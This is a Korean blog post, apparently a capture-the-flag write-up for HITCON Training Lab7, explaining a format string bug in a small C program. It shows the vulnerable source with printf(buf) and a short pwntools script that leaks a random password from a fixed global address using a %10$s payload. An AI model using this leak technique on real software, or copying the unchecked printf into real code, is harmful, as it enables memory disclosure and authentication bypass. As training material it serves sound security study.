Lab7. Format String Bug (진행 중)

2020. 12. 15. 20:52문제연습/Hitcon training

반응형

 

본 티스토리 블로그는 PC에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

 

Lab6. Format String Bug (진행 중)

본 네이버 블로그는 모바일에 최적화되어 있습니다.PC 유저분들은 아래 티스토리 블로그를 이용해 주세요...

blog.naver.com

 

Format String Bug!?!?

 

이번 문제는 공격 코드 구현은 어렵지 않으나 시용되는 취약점 FSB에대해 정확히 숙지하고 있어야 합니다.

 

1. 문제 파일

 

바이너리 분석)

보호 기법으로 카나리아, nx, partial RELRO, aslr이 걸려 있습니다.

일단은 바이너리를 보기 전에 소스 코드를 확인해 보도록 하겠습니다.

 

 

소스코드 분석)

#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
unsigned int password ;
int main(){
        setvbuf(stdout,0,2,0);
        char buf[100];
        char input[16];
        int fd ;
        srand(time(NULL));
        fd = open("/dev/urandom",0);
        read(fd,&password,4);
        printf("What your name ? ");
        read(0,buf,99);
        printf("Hello ,");
        printf(buf);
        printf("Your password :");
        read(0,input,15);
        if(atoi(input) != password){
                puts("Goodbyte");
        }else{
                puts("Congrt!!");
                system("cat /home/crack/flag");
        }
}

간단히 요약하자면, 임의의 난수가 password에 저장되고

우리가 입력한 값과 일치하면 플래그를 출력하는 듯합니다.

 

- 발생 취약점

printf(buf);

문자열 형식 지정자 %s 사용 없이 buf의 주소를 직접 접근하여 문자열을 출력하였습니다.

(포맷 스트링 버그)

 

 

2. 문제 공략

1. password 주소를 buf에 집어넣고 계산을 통해 password가 저장한 값을 조작하여 조건문을 만족시킵니다. (추후에 추가)

 

2. password 주소를 buf에 집어넣고 해당 주솟값을 문자열로 출력하는 %s를 사용합니다.

- 일단 버퍼에 password의 주소를 넣고 해당 값을 주소로 인식시켜 %s로 출력하면 password에 저장된 내용이 leak 될 것입니다.

 

 

password 변수 주소)

 

소스코드에서도 보았듯이 password 변수는 전역변수로 있기에 주소는 고정적입니다.

위에서 두 번째 빨강 박스 부분에 해당하는 어셈블리 코드를 보면 다음과 같습니다.

해당 부분에 password의 주소가 나옵니다.

0x804a048은 bss 영역이므로 우리가 확인한 주소가 맞습니다.

 

 

거리 측정)

정석대로라면 스택 구조를 직접 그림 그리고 인자, 함수 ret, sfp를 계산하며 거리를 측정하는데, 시간이 많이 걸리므로 저는 그냥 전수조사했습니다.

거리가 10인 것으로 확인되었습니다.

이제, 이 두 가지 정보를 이용하여 공격 코드를 작성하도록 하겠습니다.

 

from pwn import *

password_addr = 0x804a048
payload = p32(password_addr) + "|" + "%10$s" + "|"

e = ELF("./crack")

p = process("./crack")
p.recvuntil("What your name ? ")
p.sendline(payload)
p.recvuntil("|")

password = str(u32(p.recv(4)))
p.sendafter("Your password :", password)
p.interactive()

 

공격이 성공한 모습

 

이번 문제는 FSB를 이용한 간단한 익스플로잇 문제였습니다.

다음시간에는 lab8을 풀어 보도록 하겠습니다.

 

반응형

'문제연습 > Hitcon training' 카테고리의 다른 글

Lab8. Format String Bug  (0) 2020.12.19
Lab6. Fake ebp, stack pivot (진행 중)  (0) 2020.12.13
Lab5. Return Oriented Programming  (0) 2020.12.09
Lab4. Return To Libc  (0) 2020.12.09
Lab3. 오버플로 공격 기초  (0) 2020.12.05